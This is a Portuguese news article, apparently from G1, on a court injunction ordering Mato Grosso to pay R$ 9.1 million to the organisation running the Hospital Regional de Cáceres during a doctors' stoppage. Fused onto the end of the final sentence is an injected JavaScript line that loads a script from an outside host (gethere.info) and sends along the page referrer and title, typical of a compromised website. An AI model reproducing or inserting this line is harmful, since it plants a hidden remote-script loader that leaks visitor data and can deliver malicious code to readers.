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G1
A Justiça determinou que o governo de Mato Grosso faça o repasse de R$ 9,1 milhões à organização social que administra o Hospital Regional de Cáceres, a 220 km de Cuiabá. O montante é referente aos atrasos nas parcelas dos meses de junho e julho. A decisão é do dia 12 de julho, proferida pela juíza Joseane Viana Quinto, e dá prazo de 48 horas para que o valor seja transferido, sob pena de multa diária de R$ 10 mil ao secretário de Saúde.
Os médicos do Hospital Regional suspenderam as atividades no dia 25 de julho, ficando mantidos somente os atendimentos emergenciais.
A determinação judicial é liminar (temporária) e atendeu a um pedido do Ministério Público do Estado (MPE). A organização social que faz a gestão da unidade de saúde é a Associação Congregação de Santa Catarina.
A Secretaria de Saúde do estado diz que ainda não foi notificada da decisão e que repassou na semana passada mais de R$ 3 milhões, referentes ao mês de junho, para o hospital em questão.
Conforme a decisão, a Associação tem 48 horas para restabelecer os serviços e garantir a integridade do atendimento. O descumprimento também implica em multa de R$ 10 mil por dia. A organização social disse que ainda não foi notificada da determinação.
Para o MPE, o Estado tem sido omisso em cumprir com as obrigações firmadas e criou uma situação que pode levar ao caos, com possibilidade de resultar em mortes de pessoas.s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;
